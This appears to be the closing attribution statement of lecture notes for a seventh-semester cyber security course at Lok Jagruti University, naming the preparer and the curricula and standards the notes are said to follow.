This document is prepared for academic use at LOK JAGRUTI UNIVERSITY (LJU), Institute of Engineering & Technology, for B.E. Semester VII — Cyber Security. It constitutes Part 2 of the lecture notes series (Units 6–10), supplementing the Units 1–5 document. All sources are cited above. Content is verified against EC-Council EHE official curriculum, OWASP Foundation, NIST publications, and standard textbooks as of July 2026. Not for commercial distribution.

Prepared by: Pooja Shah, Lecturer — LJU Institute of Engineering & Technology